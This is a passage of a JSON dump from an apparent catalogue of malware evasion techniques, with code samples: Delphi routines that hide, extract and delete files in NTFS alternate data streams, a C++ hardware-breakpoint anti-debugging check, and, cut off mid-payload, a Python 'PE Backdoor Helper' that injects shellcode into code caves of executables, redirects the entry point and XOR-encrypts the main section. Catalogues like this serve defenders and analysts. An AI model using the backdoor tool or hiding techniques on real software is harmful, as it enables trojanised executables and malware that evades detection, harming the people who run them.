stdcall;\r\n\r\n\r\n{-------------------------------------------------------------------------------\r\n  Return the ADS name from it raw name (:<name>:$DATA)\r\n-------------------------------------------------------------------------------}\r\nfunction TEnumDataStream.ExtractADSName(ARawName : String) : String;\r\nvar AMatch : TMatch;\r\n    AName  : String;\r\nbegin\r\n  result := ARawName;\r\n  ///\r\n\r\n  AName := '';\r\n  AMatch := TRegEx.Match(ARawName, ':(.*):');\r\n  if (AMatch.Groups.Count < 2) then\r\n    Exit();\r\n\r\n  result := AMatch.Groups.Item[1].Value;\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  Scan for ADS using method N�1 (FindFirstStream / FindNextStream). Work since\r\n  Microsoft Windows Vista.\r\n-------------------------------------------------------------------------------}\r\nfunction TEnumDataStream.Enumerate_FindFirstStream() : Int64;\r\nvar hStream     : THandle;\r\n    AData       : TWin32FindStreamData;\r\n\r\n    procedure ProcessDataStream();\r\n    var ADataStream : TDataStream;\r\n    begin\r\n      if (String(AData.cStreamName).CompareTo('::$DATA') = 0) then\r\n        Exit();\r\n      ///\r\n\r\n      ADataStream := TDataStream.Create(self, ExtractADSName(String(AData.cStreamName)), Int64(AData.StreamSize));\r\n\r\n      FItems.Add(ADataStream);\r\n    end;\r\n\r\nbegin\r\n  result := 0;\r\n  ///\r\n\r\n  self.FItems.Clear();\r\n\r\n  if NOT FileExists(FTargetFile) then\r\n    Exit(-1);\r\n\r\n  if (NOT Assigned(@_FindFirstStreamW)) or (NOT Assigned(@_FindNextStreamW)) then\r\n    Exit(-2);\r\n\r\n  FillChar(AData, SizeOf(TWin32FindStreamData), #0);\r\n\r\n  // https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-findfirststreamw\r\n  hStream := _FindFirstStreamW(PWideChar(FTargetFile), FindStreamInfoStandard, @AData, 0);\r\n  if (hStream = INVALID_HANDLE_VALUE) then begin\r\n    case GetLastError() of\r\n      ERROR_HANDLE_EOF : begin\r\n        Exit(-3); // No ADS Found\r\n      end;\r\n\r\n      ERROR_INVALID_PARAMETER : begin\r\n        Exit(-4); // Not compatible\r\n      end;\r\n\r\n      else begin\r\n        Exit(-5);\r\n      end;\r\n    end;\r\n  end;\r\n\r\n  ProcessDataStream();\r\n\r\n  // https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-findnextstreamw\r\n  while True do begin\r\n    FillChar(AData, SizeOf(TWin32FindStreamData), #0);\r\n\r\n    if NOT _FindNextStreamW(hStream, @AData) then\r\n      break;\r\n\r\n    ProcessDataStream();\r\n  end;\r\n\r\n  ///\r\n  result := self.FItems.Count;\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  Scan for ADS using method N�2 (BackupRead()). Works since\r\n  Microsoft Windows XP.\r\n-------------------------------------------------------------------------------}\r\nfunction TEnumDataStream.Enumerate_BackupRead() : Int64;\r\nvar hFile           : THandle;\r\n    AStreamId       : TWIN32StreamID;\r\n    ABytesRead      : Cardinal;\r\n    pContext        : Pointer;\r\n    ALowByteSeeked  : Cardinal;\r\n    AHighByteSeeked : Cardinal;\r\n    AName           : String;\r\n    ABytesToRead    : Cardinal;\r\n    ASeekTo         : LARGE_INTEGER;\r\n    AClose          : Boolean;\r\nbegin\r\n  result := 0;\r\n  AClose := False;\r\n  ///\r\n  hFile := CreateFile(\r\n                        PWideChar(self.TargetFile),\r\n                        GENERIC_READ,\r\n                        FILE_SHARE_READ,\r\n                        nil,\r\n                        OPEN_EXISTING,\r\n                        FILE_FLAG_BACKUP_SEMANTICS,\r\n                        0\r\n  );\r\n  if (hFile = INVALID_HANDLE_VALUE) then\r\n    Exit(-1);\r\n  try\r\n    pContext := nil;\r\n    try\r\n      while True do begin\r\n        FillChar(AStreamId, SizeOf(TWIN32StreamID), #0);\r\n        ///\r\n\r\n        {\r\n          Read Stream\r\n        }\r\n        ABytesToRead := SizeOf(TWIN32StreamID) - 4; // We don't count \"cStreamName\"\r\n\r\n        if NOT BackupRead(hFile, @AStreamId, ABytesToRead, ABytesRead, False, False, pContext) then\r\n          break;\r\n\r\n        AClose := True;\r\n\r\n        if (ABytesRead = 0) then\r\n          break;\r\n\r\n        ASeekTo.QuadPart := (AStreamId.Size + AStreamId.dwStreamNameSize);\r\n\r\n        case AStreamId.dwStreamId of\r\n          {\r\n            Deadling with ADS Only\r\n          }\r\n          BACKUP_ALTERNATE_DATA : begin\r\n            if (AStreamId.dwStreamNameSize > 0) then begin\r\n              {\r\n                Read ADS Name\r\n              }\r\n              ABytesToRead := AStreamId.dwStreamNameSize;\r\n              SetLength(AName, (ABytesToRead div SizeOf(WideChar)));\r\n              if BackupRead(hFile, PByte(AName), ABytesToRead, ABytesRead, False, False, pContext) then begin\r\n                Dec(ASeekTo.QuadPart, ABytesRead); // Already done\r\n\r\n                FItems.Add(TDataStream.Create(self, ExtractADSName(AName), AStreamId.Size));\r\n              end;\r\n            end;\r\n          end;\r\n        end;\r\n\r\n        {\r\n          Goto Next Stream.\r\n        }\r\n        if NOT BackupSeek(hFile, ASeekTo.LowPart, ASeekTo.HighPart, ALowByteSeeked, AHighByteSeeked, pContext) then\r\n          break;\r\n\r\n        (*\r\n          //////////////////////////////////////////////////////////////////////\r\n          // BackupSeek() Alternative (Manual method)\r\n          //////////////////////////////////////////////////////////////////////\r\n\r\n          var ABuffer : array[0..2096-1] of byte;\r\n          // ...\r\n          while True do begin\r\n            if (ASeekTo.QuadPart < SizeOf(ABuffer)) then\r\n              ABytesToRead := ASeekTo.QuadPart\r\n            else\r\n              ABytesToRead := SizeOf(ABuffer);\r\n\r\n            if ABytesToRead = 0 then\r\n              break;\r\n\r\n            if NOT BackupRead(hFile, PByte(@ABuffer), ABytesToRead, ABytesRead, False, False, pContext) then\r\n              break;\r\n            ///\r\n\r\n            Dec(ASeekTo.QuadPart, ABytesRead);\r\n\r\n            if (ASeekTo.QuadPart <= 0) then\r\n              break;\r\n          end;\r\n          // ...\r\n\r\n          //////////////////////////////////////////////////////////////////////\r\n        *)\r\n      end;\r\n    finally\r\n      if AClose then\r\n        BackupRead(hFile, nil, 0, ABytesRead, True, False, pContext);\r\n    end;\r\n  finally\r\n    CloseHandle(hFile);\r\n  end;\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  Refresh embedded data stream objects using Windows API. Returns number of\r\n  data stream objects or an error identifier.\r\n-------------------------------------------------------------------------------}\r\nfunction TEnumDataStream.Refresh() : Int64;\r\nvar AVersion : TOSVersion;\r\nbegin\r\n  result := 0;\r\n  ///\r\n\r\n  if (AVersion.Major >= 6) then begin\r\n    {\r\n      Vista and above\r\n    }\r\n    if self.FForceBackUpReadMethod then\r\n      result := self.Enumerate_BackupRead()\r\n    else\r\n      result := self.Enumerate_FindFirstStream();\r\n  end else if (AVersion.Major = 5) and (AVersion.Minor >= 1) then begin\r\n    {\r\n      Windows XP / Server 2003 & R2\r\n    }\r\n    result := self.Enumerate_BackupRead();\r\n  end else begin\r\n    // Unsupported (???)\r\n  end;\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  Refresh ADS Files and retrieve one ADS file by it name.\r\n-------------------------------------------------------------------------------}\r\nfunction TEnumDataStream.GetDataStreamFromName(AStreamName : String) : TDataStream;\r\nvar I       : Integer;\r\n    AStream : TDataStream;\r\nbegin\r\n  result := nil;\r\n  ///\r\n\r\n  if (self.Refresh() > 0) then begin\r\n    for I := 0 to self.Items.count -1 do begin\r\n      AStream := self.Items.Items[i];\r\n      if NOT Assigned(AStream) then\r\n        continue;\r\n      ///\r\n\r\n      if (String.Compare(AStream.StreamName, AStreamName, True) = 0) then\r\n        result := AStream;\r\n    end;\r\n  end;\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  ADS Classic Actions\r\n    - Copy file to current ADS Location.\r\n    - Copy ADS item to destination path.\r\n    - Delete ADS Item.\r\n-------------------------------------------------------------------------------}\r\n\r\nfunction TEnumDataStream.CopyFromTo(AFrom, ATo : String) : Boolean;\r\nvar hFromFile     : THandle;\r\n    hToFile       : THandle;\r\n\r\n    ABuffer       : array[0..4096-1] of byte;\r\n    ABytesRead    : Cardinal;\r\n    ABytesWritten : Cardinal;\r\nbegin\r\n  result := False;\r\n  ///\r\n\r\n  hFromFile := INVALID_HANDLE_VALUE;\r\n  hToFile   := INVALID_HANDLE_VALUE;\r\n\r\n  try\r\n    hFromFile := CreateFile(PWideChar(AFrom), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);\r\n    if (hFromFile = INVALID_HANDLE_VALUE) then\r\n      Exit();\r\n\r\n    hToFile := CreateFile(\r\n                            PWideChar(ATo),\r\n                            GENERIC_WRITE,\r\n                            FILE_SHARE_WRITE,\r\n                            nil,\r\n                            CREATE_ALWAYS,\r\n                            FILE_ATTRIBUTE_NORMAL,\r\n                            0\r\n    );\r\n\r\n    if (hToFile = INVALID_HANDLE_VALUE) then\r\n      Exit();\r\n    ///\r\n\r\n    while True do begin\r\n      {\r\n        Read\r\n      }\r\n      if NOT ReadFile(hFromFile, ABuffer, SizeOf(ABuffer), ABytesRead, nil) then\r\n        Exit();\r\n\r\n      if ABytesRead = 0 then\r\n        break; // Success\r\n\r\n      {\r\n        Write\r\n      }\r\n      if NOT WriteFile(hToFile, ABuffer, ABytesRead, ABytesWritten, nil) then\r\n        Exit();\r\n\r\n      if (ABytesWritten <> ABytesRead) then\r\n        Exit();\r\n    end;\r\n\r\n    ///\r\n    result := True;\r\n  finally\r\n    if hFromFile <> INVALID_HANDLE_VALUE then\r\n      CloseHandle(hFromFile);\r\n\r\n    if hToFile <> INVALID_HANDLE_VALUE then\r\n      CloseHandle(hToFile);\r\n\r\n    ///\r\n    self.Refresh();\r\n  end;\r\nend;\r\n\r\nfunction TEnumDataStream.CopyFileToADS(AFilePath : String) : Boolean;\r\nbegin\r\n  result := CopyFromTo(AFilePath, Format('%s:%s', [self.FTargetFile, ExtractFileName(AFilePath)]));\r\nend;\r\n\r\nfunction TEnumDataStream.BackupFromADS(ADataStream : TDataStream; ADestPath : String) : Boolean;\r\nbegin\r\n  result := False;\r\n\r\n  if NOT Assigned(ADataStream) then\r\n    Exit();\r\n\r\n  result := CopyFromTo(ADataStream.StreamPath, Format('%s%s', [IncludeTrailingPathDelimiter(ADestPath), ADataStream.StreamName]));\r\nend;\r\n\r\nfunction TEnumDataStream.DeleteFromADS(ADataStream : TDataStream) : Boolean;\r\nbegin\r\n  result := DeleteFile(ADataStream.StreamPath);\r\nend;\r\n\r\nfunction TEnumDataStream.BackupAllFromADS(ADestPath : String) : TADSBackupStatus;\r\nvar I       : integer;\r\n    AStream : TDataStream;\r\nbegin\r\n  result := absError;\r\n  ///\r\n\r\n  if (self.Refresh() > 0) then begin\r\n    for I := 0 to self.Items.count -1 do begin\r\n      AStream := self.Items.Items[i];\r\n      if NOT Assigned(AStream) then\r\n        continue;\r\n      ///\r\n\r\n      if AStream.BackupFromADS(ADestPath) and (result <> absPartial) then\r\n        result := absTotal\r\n      else\r\n        result := absPartial;\r\n    end;\r\n  end;\r\nend;\r\n\r\nfunction TEnumDataStream.BackupFromADS(AStreamName, ADestPath : String) : Boolean;\r\nvar AStream : TDataStream;\r\nbegin\r\n  result := False;\r\n  ///\r\n\r\n  AStream := self.GetDataStreamFromName(AStreamName);\r\n  if Assigned(AStream) then\r\n    result := self.BackupFromADS(AStream, ADestPath);\r\nend;\r\n\r\nfunction TEnumDataStream.DeleteFromADS(AStreamName : String) : Boolean;\r\nvar AStream : TDataStream;\r\nbegin\r\n  result := False;\r\n  ///\r\n\r\n  AStream := self.GetDataStreamFromName(AStreamName);\r\n  if Assigned(AStream) then\r\n    result := self.DeleteFromADS(AStream);\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  ___constructor\r\n-------------------------------------------------------------------------------}\r\nconstructor TEnumDataStream.Create(ATargetFile : String; AEnumerateNow : Boolean = True; AForceBackUpReadMethod : Boolean = False);\r\nbegin\r\n  self.FTargetFile := ATargetFile;\r\n  self.FForceBackUpReadMethod := AForceBackupReadMethod;\r\n\r\n  FItems := TObjectList<TDataStream>.Create();\r\n  FItems.OwnsObjects := True;\r\n\r\n  if AEnumerateNow then\r\n    self.Refresh();\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  ___destructor\r\n-------------------------------------------------------------------------------}\r\ndestructor TEnumDataStream.Destroy();\r\nbegin\r\n  if Assigned(FItems) then\r\n    FreeAndNil(FItems);\r\n\r\n  ///\r\n  inherited Destroy();\r\nend;\r\n\r\n{+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n\r\n\r\n   TDataStream\r\n\r\n\r\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++}\r\n\r\nconstructor TDataStream.Create(AOwner : TEnumDataStream; AStreamName : String; AStreamSize : Int64);\r\nbegin\r\n  self.FOwner      := AOwner;\r\n  self.FStreamName := AStreamName;\r\n  self.FStreamSize := AStreamSize;\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  Generate Stream Path Accordingly\r\n-------------------------------------------------------------------------------}\r\nfunction TDataStream.GetStreamPath() : String;\r\nbegin\r\n  result := '';\r\n\r\n  if NOT Assigned(FOwner) then\r\n    Exit();\r\n\r\n  result := Format('%s:%s', [FOwner.TargetFile, self.FStreamName]);\r\nend;\r\n\r\n{-------------------------------------------------------------------------------\r\n  ADS Classic Actions (Redirected to Owner Object)\r\n-------------------------------------------------------------------------------}\r\n\r\nfunction TDataStream.CopyFileToADS(AFileName : String) : Boolean;\r\nbegin\r\n  if Assigned(FOwner) then\r\n    result := FOwner.CopyFileToADS(AFileName);\r\nend;\r\n\r\nfunction TDataStream.BackupFromADS(ADestPath : String) : Boolean;\r\nbegin\r\n  if Assigned(FOwner) then\r\n    result := FOwner.BackupFromADS(self, ADestPath);\r\nend;\r\n\r\nfunction TDataStream.DeleteFromADS() : Boolean;\r\nbegin\r\n  if Assigned(FOwner) then\r\n    result := FOwner.DeleteFromADS(self);\r\nend;\r\n\r\n// +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n\r\ninitialization\r\n  _FindFirstStreamW := nil;\r\n  _FindNextStreamW  := nil;\r\n\r\n  hKernel32 := LoadLibrary('KERNEL32.DLL');\r\n  if (hKernel32 > 0) then begin\r\n    @_FindFirstStreamW := GetProcAddress(hKernel32, 'FindFirstStreamW');\r\n    @_FindNextStreamW := GetProcAddress(hKernel32, 'FindNextStreamW');\r\n  end;\r\n\r\nfinalization\r\n  _FindFirstStreamW := nil;\r\n  _FindNextStreamW  := nil;\r\n\r\nend."
        },
        {
            "id": 58,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 12,
                "username": "Lexsek",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/Lexsek_",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/164/?format=api",
            "description": "",
            "plain_code": "#include <windows.h>\r\n#include <stdio.h>\r\n\r\nint main() {\r\n\r\n    HANDLE thread = GetCurrentThread();\r\n    CONTEXT threadContext;\r\n    int errorCode;\r\n\r\n    memset(&threadContext, 0, sizeof(CONTEXT));\r\n    threadContext.ContextFlags = CONTEXT_ALL;\r\n\r\n    if( !GetThreadContext(thread, &threadContext) ){\r\n        errorCode = GetLastError();\r\n        puts(\"Could not get thread context\");\r\n        return errorCode;\r\n    }\r\n\r\n    if( threadContext.Dr0 || threadContext.Dr1 || threadContext.Dr2 || threadContext.Dr3 ){\r\n        puts(\"Detected\");\r\n    }\r\n    else{\r\n        puts(\"Undetected\");\r\n    }\r\n\r\n    return 0;\r\n}"
        },
        {
            "id": 54,
            "language": {
                "id": 3,
                "label": "Python",
                "code_class": "python"
            },
            "user": {
                "id": 4,
                "username": "DarkCoderSc",
                "email": "jplesueur@proton.me",
                "linkedin": "https://www.linkedin.com/in/jlesueur/",
                "twitter": "https://www.twitter.com/darkcodersc",
                "website": "https://www.phrozen.io/",
                "github": "https://github.com/DarkCoderSc"
            },
            "technique": "https://unprotect.it/api/techniques/106/?format=api",
            "description": "* `-f / --file` : Valid PE File location (Ex: /path/to/calc.exe).\r\n* `-p / --payload` : Shellcode Payload (Example: \\\"\\\\x01\\\\x02\\\\x03...\\\\x0a\\\").\r\n* `-x / --encrypt` : Encrypt main section (entry point section).\r\n* `-k / --encryption-key` : Define custom encryption key (1 Byte only).\r\n* `-c / --cave-opcodes` : Define code opcode list to search for.\r\n* `-s / --cave-min-size` : Minimum size of region to be considered as code cave.\r\n* `-e / --egg` : Define a custom egg name (ESP Restore Mechanism).",
            "plain_code": "import pefile\r\nimport struct\r\nimport argparse\r\nimport sys\r\nimport os\r\n\r\nclass tcolors:\r\n\tclear = \"\\033[0m\"\r\n\tgreen = \"\\033[32m\"\r\n\tred = \"\\033[31m\"\r\n\tyellow = \"\\033[33m\"\r\n\tblue = \"\\033[34m\"\r\n\tgray = \"\\033[90m\"\r\n\r\n\r\ndef success(message):\r\n\tprint(f\"[\\033[32m✓\\033[39m] {message}\")\r\n\r\n\r\ndef error(message):\r\n\tprint(f\"\\033[31m{message}\\033[39m\")\r\n\r\n\r\ndef debug(message):\r\n\tprint(f\"[\\033[34m*\\033[39m] {message}\")\t\r\n\r\ndef warning(message):\r\n\tprint(f\"[\\033[33m!\\033[39m] {message}\")\r\n\r\n\r\ndef title(title):\r\n\tprint(\"\\n\" + (\"=\" * 45))\r\n\tprint(f\" {title}\")\r\n\tprint(\"=\" * 45)\r\n\r\n\r\ndef bytearr_to_bytestr(data):\r\n\treturn ''.join(f\"\\\\x{'{:02x}'.format(x)}\" for x in data)\r\n\r\n\r\ndef bytestr_to_bytearr(data):\r\n\treturn list(bytearray.fromhex(data.replace(\"\\\\x\", \" \")))\r\n\r\n\r\nclass CodeCave:\r\n\t\"\"\"\r\n\t\tClass containing information about a found code cave\r\n\t\"\"\"\r\n\r\n\tdef __init__(self, name, section, offset, size, cave_type):\r\n\t\tself.name = name\r\n\t\tself.section = section\r\n\t\tself.offset = offset\t\r\n\t\tself.size = size\t\r\n\t\tself.type = cave_type\r\n\r\n\r\ndef get_section_by_address(address):\r\n\tfor section in pe.sections:\r\n\r\n\t\tsection_begin_address = (image_base + section.VirtualAddress)\r\n\t\tsection_end_address = (section_begin_address + section.SizeOfRawData)\r\n\r\n\t\tif (address >= section_begin_address) and (address <= section_end_address):\r\n\t\t\treturn section\r\n\r\n\treturn None\r\n\r\n\r\ndef get_section_name(section):\r\n\t\"\"\"\r\n\t\tReturn the name of a PE Section and strip for extra zeroes\r\n\r\n\t\tA section name is always equal to zero bytes and padded with zeros.\r\n\t\"\"\"\r\n\r\n\tif not section:\r\n\t\treturn \"\"\r\n\r\n\treturn section.Name.decode(\"utf-8\").strip('\\0').lower()\r\n\r\n\r\ndef define_section_rwe(section):\r\n\t\"\"\"\r\n\t\tUpdate section flag to Execute | Read | Write -> 0xE0000020\r\n\t\"\"\"\r\n\tflags = 0xe0000020\r\n\r\n\tif section.Characteristics != flags:\r\n\t\tdebug(f\"Section flags updated from {hex(section.Characteristics)} to {hex(flags)} (READ / WRITE / EXECUTE)\")\r\n\r\n\t\tsection.Characteristics = flags\r\n\r\n\r\ndef code_cave_finder(section, cave_opcode):\r\n\t\"\"\"\r\n\t\tFind a succession of x NOP's or a succession of x NULL Bytes in a section.\r\n\r\n\t\tTo be consired as a code cave, buffer space must be at least equal or above 50 Bytes.\r\n\r\n\t\tSection must be executable in order to host our payload.\t\r\n\t\"\"\"\r\n\r\n\tname = get_section_name(section)\r\n\r\n\tif len(search_in_sections) > 0:\r\n\t\tif not name in search_in_sections:\r\n\t\t\treturn False\r\n\r\n\toffset = section.VirtualAddress\r\n\r\n\tsection_data = pe.get_memory_mapped_image()[offset:offset + section.SizeOfRawData]\t\t\r\n\r\n\tcave_length = 0\t\r\n\r\n\tfor index, b in enumerate(section_data, start=1):\t\t\t\r\n\t\tif (b == cave_opcode):\t\t\t\t\r\n\t\t\tcave_length += 1\t\r\n\r\n\t\tif ((b != cave_opcode) and (cave_length > 0)) or (index == len(section_data)):\r\n\t\t\t\r\n\t\t\tif cave_length >= argv.cave_min_size:\t\t\t\t\t\r\n\t\t\t\tcave = CodeCave(name, section, (index - cave_length), cave_length, cave_opcode)\r\n\r\n\t\t\t\tcode_caves.append(cave)\r\n\t\t\t\r\n\t\t\tcave_length = 0\r\n\r\n\treturn True\r\n\r\n\r\ndef encrypt_section(section, xor_key):\r\n\t\"\"\"\r\n\t\tEncrypt whole PE Section using a basic XOR Encoder (4 Bytes Key)\r\n\t\"\"\"\r\n\r\n\toffset = section.VirtualAddress\r\n\r\n\tsection_data = bytearray(pe.get_memory_mapped_image()[offset:offset + section.SizeOfRawData])\r\n\r\n\tfor index, b in enumerate(section_data):\t\t\t\t\r\n\t\tsection_data[index] =  b ^ xor_key # b ^ (index % 256)\r\n\r\n\tpe.set_bytes_at_offset(section.PointerToRawData, bytes(section_data))\t\r\n\r\n\r\ndef get_rel_distance(origine, destination):\r\n\t\"\"\"\r\n\t\tRetrieve the relative distance between two locations.\r\n\r\n\t\tlocation is relative to image_base\r\n\t\"\"\"\r\n\torigine += image_base\r\n\tdestination += image_base\r\n\r\n\tdistance = 0x0\r\n\r\n\tif origine > destination:\r\n\t\tdistance = (0x0 - (origine - destination)) & 0xffffffff\r\n\telse:\t\t\r\n\t\tdistance = (destination - origine)\r\n\r\n\treturn distance\r\n\r\n\r\n\r\n'''\r\n-------------------------------------------------------------------------------------------------------\r\n\r\n\tEntry Point\r\n\t\r\n-------------------------------------------------------------------------------------------------------\r\n'''\r\nif __name__ == \"__main__\":\r\n\tsearch_in_sections = [] # [] = All Sections\r\n\ttry:\r\n\t\targument_parser = argparse.ArgumentParser(description=f\"PE Backdoor Helper by {tcolors.blue}@DarkCoderSc{tcolors.clear}\")\r\n\r\n\t\targument_parser.add_argument('-f', '--file', type=str, dest=\"file\", action=\"store\", required=True, help=\"Valid PE File location (Ex: /path/to/calc.exe).\")\r\n\r\n\t\targument_parser.add_argument('-p', '--payload', type=str, dest=\"payload\", action=\"store\", required=False, default=\"\", help=\"Shellcode Payload (Example: \\\"\\\\x01\\\\x02\\\\x03...\\\\x0a\\\").\")\r\n\r\n\t\targument_parser.add_argument('-x', '--encrypt', dest=\"encrypt_main_section\", action=\"store_true\", required=False, default=False, help=\"Encrypt main section (entry point section).\")\t\t\r\n\r\n\t\targument_parser.add_argument('-k', '--encryption-key', type=str, dest=\"encryption_key\", action=\"store\", required=False, default=\"\\\\x0c\", help=\"Define custom encryption key (1 Byte only).\")\t\t\r\n\r\n\t\targument_parser.add_argument('-c', '--cave-opcodes', type=str, dest=\"cave_opcodes\", action=\"store\", default=\"\\\\x00\\\\x90\", help=\"Define code opcode list to search for.\")\r\n\r\n\t\targument_parser.add_argument('-s', '--cave-min-size', type=int, dest=\"cave_min_size\", action=\"store\", default=50, help=\"Minimum size of region to be considered as code cave.\")\t\t\t\t\r\n\r\n\t\targument_parser.add_argument('-e', '--egg', type=str, dest=\"egg\", action=\"store\", required=False, default=\"egg!\", help=\"Define a custom egg name (ESP Restore Mechanism)\")\r\n\r\n\t\ttry:\r\n\t\t\targv = argument_parser.parse_args()\t\t\r\n\t\texcept IOError as e:\r\n\t\t\tparser.error()\r\n\r\n\r\n\t\tif not argv.encrypt_main_section and (len(argv.payload) == 0):\r\n\t\t\traise Exception(\"You must either define a payload or decide to encrypt main section of target file in order to find this tool useful.\")\r\n\r\n\r\n\t\ttry:\r\n\t\t\tshellcode = bytestr_to_bytearr(argv.payload)\r\n\t\t\tcave_opcode = bytestr_to_bytearr(argv.cave_opcodes)\r\n\t\t\tencryption_key = bytestr_to_bytearr(argv.encryption_key)\r\n\t\texcept:\r\n\t\t\traise Exception(\"Malformed byte string. A byte string must be defined with the following format: \\\"\\\\x01\\\\x02\\\\x03...\\\\x0a\\\".\")\r\n\r\n\r\n\t\tif len(encryption_key) > 1:\r\n\t\t\traise Exception(\"Encryption key must be equal to 1 byte. Example: \\\"\\\\x0c\\\"\")\r\n\r\n\t\tdebug(f\"Loading PE File: {tcolors.blue}\\\"{argv.file}\\\"{tcolors.clear}\")\r\n\r\n\t\tpe = pefile.PE(argv.file, fast_load=False)\t\r\n\t\r\n\t\timage_base = pe.OPTIONAL_HEADER.ImageBase\r\n\t\tentry_point_address = pe.OPTIONAL_HEADER.AddressOfEntryPoint\r\n\r\n\t\tif pe.FILE_HEADER.Machine != pefile.MACHINE_TYPE[\"IMAGE_FILE_MACHINE_I386\"]:\r\n\t\t\traise Exception(\"This script is not compatible with x86-64 PE Files.\")\r\n\r\n\t\tdebug(f\"Image Base: {tcolors.blue}{hex(image_base)}{tcolors.clear}\")\r\n\t\tdebug(f\"Entry Point: {tcolors.blue}{hex(entry_point_address)}{tcolors.clear}\")\r\n\r\n\t\t#\r\n\t\t# Enumerate Code Caves in Executable Sections\r\n\t\t#\r\n\r\n\t\tcode_caves = []\r\n\r\n\t\tif len(cave_opcode) == 0:\r\n\t\t\traise Exception(f\"You must specify at least one code cave opcode (Ex: {tcolors.blue}\\\\x00\\\\x90{tcolors.clear}\")\r\n\r\n\t\tdebug(\"Searching for code caves...\")\r\n\t\tfor section in pe.sections:\r\n\t\t\tdebug(f\"Scanning {tcolors.blue}\\\"{get_section_name(section)}\\\"{tcolors.clear}, \" \\\r\n\t\t\t      f\"VirtualOffset=[{hex(section.VirtualAddress)}], RawOffset=[{hex(section.PointerToRawData)}], \" \\\r\n\t\t\t      f\"Size=[{hex(section.SizeOfRawData)}], Characteristics=[{hex(section.Characteristics)}]\")\r\n\r\n\t\t\tfor opcode in cave_opcode:\r\n\t\t\t\tcode_cave_finder(section, opcode)\r\n\r\n\r\n\t\t#\r\n\t\t# List found code caves\r\n\t\t#\t\r\n\t\tif len(code_caves) == 0:\r\n\t\t\twarning(\"No code cave present in target file.\")\r\n\t\telse:\r\n\t\t\ttitle(\"Code Cave Results\")\r\n\t\t\tfor index, cave in enumerate(code_caves):\r\n\t\t\t\tprint(f\"({tcolors.green}{index +1}{tcolors.clear}) Code cave in section=[{tcolors.blue}{cave.name}{tcolors.clear}], \"\\\r\n\t\t\t\t\t  f\"relative_offset=[{hex(cave.offset)}], cave_size=[{hex(cave.size)}], cave_type=[{hex(cave.type)}]\")\r\n\r\n\t\t\t#\r\n\t\t\t# Select desired code cave for payload injection\r\n\t\t\t#\r\n\t\t\tcave = None\t\t\r\n\t\t\twhile True:\r\n\t\t\t\tprint(f\"\\nEnter desired code cave index for code injection (CTRL+C to abort): \", end=\"\")\r\n\t\t\t\ttry:\t\t\t\t\t\r\n\t\t\t\t\tchoice = int(input())\t\t\t\t\r\n\r\n\t\t\t\t\tif (choice < 1) or (choice > len(code_caves)):\r\n\t\t\t\t\t\tcontinue\r\n\t\t\t\t\r\n\t\t\t\t\tcave = code_caves[choice -1]\r\n\r\n\t\t\t\t\tbreak\r\n\t\t\t\texcept KeyboardInterrupt:\r\n\t\t\t\t\traise Exception(\"\\nExecution aborted.\")\r\n\t\t\t\texcept:\r\n\t\t\t\t\tcontinue\r\n\r\n\t\t\tif not cave:\r\n\t\t\t\traise Exception(\"Unexpected error.\")\r\n\r\n\t\t\tdebug(\"Checking if cave section has correct flags set...\")\r\n\r\n\t\t\tdefine_section_rwe(cave.section)\r\n\r\n\t\t\tdebug(\"Retrieve section of entrypoint...\")\r\n\t\t\tentry_section = get_section_by_address(image_base + entry_point_address)\r\n\t\t\tif not entry_section:\r\n\t\t\t\traise Exception(\"Could not find section of entrypoint...\")\r\n\r\n\t\t\tsuccess(f\"Entrypoint is located in {get_section_name(entry_section)}.\")\t\t\t\r\n\r\n\t\t\tnew_entry_point_address = (cave.section.VirtualAddress + cave.offset)\r\n\r\n\t\t\tdebug(f\"Patch entrypoint address with code cave address: {hex(entry_point_address)} to {hex(new_entry_point_address)}.\")\r\n\r\n\t\t\tpe.OPTIONAL_HEADER.AddressOfEntryPoint = new_entry_point_address\r\n\r\n\t\t\t#\r\n\t\t\t# Start Encryption Mechanisms\r\n\t\t\t#\r\n\r\n\t\t\tif argv.encrypt_main_section:\r\n\t\t\t\tdebug(\"Prepare main section (entrypoint section) encryption...\")\t\t\t\t\r\n\r\n\t\t\t\tdefine_section_rwe(entry_section)\r\n\r\n\t\t\t\tdebug(\"Start encryption....\")\r\n\r\n\t\t\t\tencrypt_section(entry_section, encryption_key[0])\t\t\t\t\t\r\n\r\n\t\t\t\tsuccess(\"Main section successfully encrypted.\")\r\n\r\n\t\t\tdebug(\"Carving code cave payload...\")\r\n\r\n\t\t\t#\r\n\t\t\t# Prologue\r\n\t\t\t#\r\n\r\n\t\t\tdebug(\"Writing code cave prologue: saving registers, flags, ESP recovery mechanism...\")\t\t\t\r\n\r\n\t\t\t# Save registers and flags\r\n\t\t\tpayload = b\"\"\r\n\t\t\tpayload += b\"\\x60\" # pushad\r\n\t\t\tpayload += b\"\\x9C\" # pushfd\t\t\t\t\t\t\r\n\r\n\t\t\t# Place eggs to recover stack state (restore ESP to original and expected value)\t\t\r\n\t\t\tegg = argv.egg.encode('ascii')[::-1]\r\n\t\t\tpayload += ((b\"\\x68\" + egg) * 2) # egg!egg!\r\n\r\n\r\n\t\t\t#\r\n\t\t\t# Decryption Routine (If encryption was requested)\r\n\t\t\t# \r\n\t\t\tif argv.encrypt_main_section:\r\n\t\t\t\tdebug(\"Writing code cave decryption routine to decrypt main section...\")\r\n\r\n\t\t\t\tpayload += b\"\\xe8\\x00\\x00\\x00\\x00\"              # call (next_instruction) and save EIP to ESP\r\n\t\t\t\tpayload += b\"\\x5e\"                              # pop 